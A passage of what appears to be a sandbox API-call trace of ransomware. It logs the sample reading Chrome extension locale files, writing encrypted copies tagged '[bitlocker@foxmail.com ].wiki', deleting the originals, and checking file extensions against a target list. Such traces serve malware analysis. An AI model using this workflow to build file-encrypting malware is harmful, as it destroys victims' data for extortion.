Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.232] GetLastError () returned 0x0 [0174.232] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.233] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.234] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.234] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.234] SetEndOfFile (hFile=0x1b4) returned 1 [0174.234] CloseHandle (hObject=0x1b4) returned 1 [0174.234] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.234] SetEndOfFile (hFile=0x1ac) returned 1 [0174.235] CloseHandle (hObject=0x1ac) returned 1 [0174.235] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.236] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json")) returned 1 [0174.236] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json") returned 153 [0174.236] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json") returned 153 [0174.236] lstrlenW (lpString=".doc") returned 4 [0174.236] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.236] lstrlenW (lpString=".docx") returned 5 [0174.236] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.236] lstrlenW (lpString=".pdf") returned 4 [0174.236] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.236] lstrlenW (lpString=".xls") returned 4 [0174.236] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.236] lstrlenW (lpString=".xlsx") returned 5 [0174.236] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.236] lstrlenW (lpString=".ppt") returned 4 [0174.236] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.236] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json") returned 153 [0174.236] lstrlenW (lpString=".zip") returned 4 [0174.236] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.236] lstrlenW (lpString=".rar") returned 4 [0174.236] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.236] lstrlenW (lpString=".bz2") returned 4 [0174.236] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.236] lstrlenW (lpString=".7z") returned 3 [0174.237] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.237] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json") returned 153 [0174.237] lstrlenW (lpString=".dbf") returned 4 [0174.237] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.237] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json") returned 153 [0174.237] lstrlenW (lpString=".1cd") returned 4 [0174.237] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.237] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json") returned 153 [0174.237] lstrlenW (lpString=".jpg") returned 4 [0174.237] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.237] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json") returned 153 [0174.237] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json") returned 153 [0174.237] lstrlenW (lpString=".doc") returned 4 [0174.237] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.237] lstrlenW (lpString=".docx") returned 5 [0174.237] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.237] lstrlenW (lpString=".pdf") returned 4 [0174.237] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.237] lstrlenW (lpString=".xls") returned 4 [0174.237] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.237] lstrlenW (lpString=".xlsx") returned 5 [0174.237] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.237] lstrlenW (lpString=".ppt") returned 4 [0174.237] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.237] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json") returned 153 [0174.237] lstrlenW (lpString=".zip") returned 4 [0174.237] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.237] lstrlenW (lpString=".rar") returned 4 [0174.237] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.237] lstrlenW (lpString=".bz2") returned 4 [0174.238] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.238] lstrlenW (lpString=".7z") returned 3 [0174.238] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.238] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json") returned 153 [0174.238] lstrlenW (lpString=".dbf") returned 4 [0174.238] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.238] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json") returned 153 [0174.238] lstrlenW (lpString=".1cd") returned 4 [0174.238] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.238] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json") returned 153 [0174.238] lstrlenW (lpString=".jpg") returned 4 [0174.238] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.238] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.238] lstrlenW (lpString="messages.json") returned 13 [0174.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.239] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=179) returned 1 [0174.239] CloseHandle (hObject=0x1ac) returned 1 [0174.239] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json")) returned 0x2020 [0174.239] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.239] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.239] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.239] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.239] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.240] GetLastError () returned 0x0 [0174.240] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.241] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.241] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.242] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.242] SetEndOfFile (hFile=0x1b4) returned 1 [0174.242] CloseHandle (hObject=0x1b4) returned 1 [0174.242] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.242] SetEndOfFile (hFile=0x1ac) returned 1 [0174.243] CloseHandle (hObject=0x1ac) returned 1 [0174.243] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.243] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json")) returned 1 [0174.243] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json") returned 153 [0174.243] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json") returned 153 [0174.243] lstrlenW (lpString=".doc") returned 4 [0174.243] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.243] lstrlenW (lpString=".docx") returned 5 [0174.243] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.243] lstrlenW (lpString=".pdf") returned 4 [0174.243] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.243] lstrlenW (lpString=".xls") returned 4 [0174.243] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.243] lstrlenW (lpString=".xlsx") returned 5 [0174.243] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.243] lstrlenW (lpString=".ppt") returned 4 [0174.244] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.244] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json") returned 153 [0174.244] lstrlenW (lpString=".zip") returned 4 [0174.244] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.244] lstrlenW (lpString=".rar") returned 4 [0174.244] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.244] lstrlenW (lpString=".bz2") returned 4 [0174.244] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.244] lstrlenW (lpString=".7z") returned 3 [0174.244] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.244] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json") returned 153 [0174.244] lstrlenW (lpString=".dbf") returned 4 [0174.244] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.244] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json") returned 153 [0174.244] lstrlenW (lpString=".1cd") returned 4 [0174.244] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.244] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json") returned 153 [0174.244] lstrlenW (lpString=".jpg") returned 4 [0174.244] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.244] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json") returned 153 [0174.244] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json") returned 153 [0174.244] lstrlenW (lpString=".doc") returned 4 [0174.244] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.244] lstrlenW (lpString=".docx") returned 5 [0174.244] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.244] lstrlenW (lpString=".pdf") returned 4 [0174.244] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.244] lstrlenW (lpString=".xls") returned 4 [0174.244] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.245] lstrlenW (lpString=".xlsx") returned 5 [0174.245] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.245] lstrlenW (lpString=".ppt") returned 4 [0174.245] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.245] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json") returned 153 [0174.245] lstrlenW (lpString=".zip") returned 4 [0174.245] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.245] lstrlenW (lpString=".rar") returned 4 [0174.245] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.245] lstrlenW (lpString=".bz2") returned 4 [0174.245] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.245] lstrlenW (lpString=".7z") returned 3 [0174.245] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.245] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json") returned 153 [0174.245] lstrlenW (lpString=".dbf") returned 4 [0174.245] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.245] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json") returned 153 [0174.245] lstrlenW (lpString=".1cd") returned 4 [0174.245] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.245] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json") returned 153 [0174.245] lstrlenW (lpString=".jpg") returned 4 [0174.245] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.245] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.245] lstrlenW (lpString="messages.json") returned 13 [0174.245] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.246] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=179) returned 1 [0174.246] CloseHandle (hObject=0x1ac) returned 1 [0174.246] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json")) returned 0x2020 [0174.246] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.246] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.246] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.247] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.247] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.247] GetLastError () returned 0x0 [0174.247] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.248] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.249] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.249] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.249] SetEndOfFile (hFile=0x1b4) returned 1 [0174.249] CloseHandle (hObject=0x1b4) returned 1 [0174.249] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.249] SetEndOfFile (hFile=0x1ac) returned 1 [0174.250] CloseHandle (hObject=0x1ac) returned 1 [0174.250] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.250] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json")) returned 1 [0174.250] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json") returned 153 [0174.250] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json") returned 153 [0174.251] lstrlenW (lpString=".doc") returned 4 [0174.251] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.251] lstrlenW (lpString=".docx") returned 5 [0174.251] lstrcmpiW (lpString1=".docx", 